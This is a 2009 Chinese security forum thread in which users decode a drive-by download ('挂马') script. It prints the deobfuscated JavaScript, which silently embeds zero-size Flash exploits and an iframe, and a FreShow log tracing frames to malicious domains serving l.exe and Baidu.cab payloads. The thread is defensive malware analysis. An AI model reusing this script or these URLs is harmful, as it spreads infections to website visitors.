[新地址!]hxxp://3b3.org/c.js[加密页面][解密by lg560852]

e54hacker

Log is generated by FreShow.
[wide]hxxp://3b3.org/c.js
    [frame]hxxp://s.gdgr3e.cn/01/
    [frame]hxxp://s.gdgr3e.cn/01/
        [frame]hxxp://s.gdgr3e.cn/01/google.htm

看起来时HTMLSHIP
但是貌似不同,谁来解下,希望可以说下解的方法!

lg560852

"+"+"+"+"+"+"+"

<SCRIPT LANGUAGE="javascript">

window.onerror=function(){return true;}

function init(){document.write();}

window.onload = init;

if(document.cookie.indexOf("wudixiaozi=")==-1)

{

var kbks="kbstg";

var skpaopao=new Date();

var expires=new Date();

expires.setTime(expires.getTime()+24*60*60*1000);

document.cookie="wudixiaozi=Yes;path=/;expires="+expires.toGMTString();

if(navigator.userAgent.toLowerCase().indexOf("msie")>0)

{

document.write('<object classid="clsid:d27cdb"+"6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">');

document.write('<param name="allowScriptAccess" value="sameDomain"/>');



document.write('<param name="movie" value="ie.swf"/>');

document.write('<param name="quality" value="high"/>');

document.write('<param name="bgcolor" value="#ffffff"/>');

document.write('<embed src="ie.swf"/>');

document.write('</object>');

}

else

{

document.write("<EMBED src=ff.swf width=0 height=0>");

}

document.writeln("<iframe src=all.htm width=100 height=0><\/iframe>");}



</SCRIPT>

</BODY></HTML>

lg560852

Log is generated by FreShow.
[wide]http://3b3.org/c.js
    [frame]http://s.gdgr3e.cn/01/
        [frame]http://s.gdgr3e.cn/01/google.htm
            [frame]http://s.gdgr3e.cn/01/all.htm
                [frame]http://s.gdgr3e.cn/01/1.htm
                    [script]http://s.gdgr3e.cn/01/1.js
                        [object]http://w1.fsdfe.com/01/l.exe
                [frame]http://s.gdgr3e.cn/01/b.htm
                    [object]http://w1.fsdfe.com/01/Baidu.cab
                [frame]http://s.gdgr3e.cn/01/6.htm
                    [object]http://w1.fsdfe.com/01/l.exe
                [frame]http://s.gdgr3e.cn/01/newlz.htm
                    [script]http://s.gdgr3e.cn/01/lz.js
                        [object]http://w1.fsdfe.com/01/l.exe
                [frame]http://s.gdgr3e.cn/01/s.htm
                    [object]http://w1.fsdfe.com/01/l.exe
                [frame]http://s.gdgr3e.cn/01/office.htm
                    [script]http://s.gdgr3e.cn/01/office.js
                        [object]http://w1.fsdfe.com/01/l.exe
                [frame]http://s.gdgr3e.cn/01/bf.htm
                    [object]http://w1.fsdfe.com/01/l.exe
                [frame]http://s.gdgr3e.cn/01/cx.htm
                    [object]http://w1.fsdfe.com/01/l.exe
                [frame]http://s.gdgr3e.cn/01/uu.htm
                [frame]http://s.gdgr3e.cn/01/2.htm
                [frame]http://s.gdgr3e.cn/01/3.htm
                    [script]http://s.gdgr3e.cn/01/3.js
                        [object]http://w1.fsdfe.com/01/l.exe
                [frame]http://s.gdgr3e.cn/01/4.htm
                    [script]http://s.gdgr3e.cn/01/4.js
                        [object]http://w1.fsdfe.com/01/l.exe
                [frame]http://s.gdgr3e.cn/01/0.htm
                    [object]http://w1.fsdfe.com/01/l1.exe
                [frame]http://s.gdgr3e.cn/01/5.htm
                    [script]http://s.gdgr3e.cn/01/5.js
                        [object]http://w1.fsdfe.com/01/l.exe
    [frame]http://s.gdgr3e.cn/01/

ts2884664

请问一下  你是用什么软件分析你以上的数据出来的  请教一下！！！！！！！！！！！！！！

雨宫优子

原帖由 ts2884664 于 2009-3-14 16:26 发表
请问一下  你是用什么软件分析你以上的数据出来的  请教一下！！！！！！！！！！！！！！

其实软件不重要了...（因为貌似这个单用一个软件根本解不出）..


软件是Freshow，经典的解密软件，优点是BUG基本没有，缺点是...解密功能有些跟不上了...
解密方法见我安全实验室，打个小小的ad3月14日挂马分析报告

ts2884664

哈哈  在线等到了  OK 马上去看看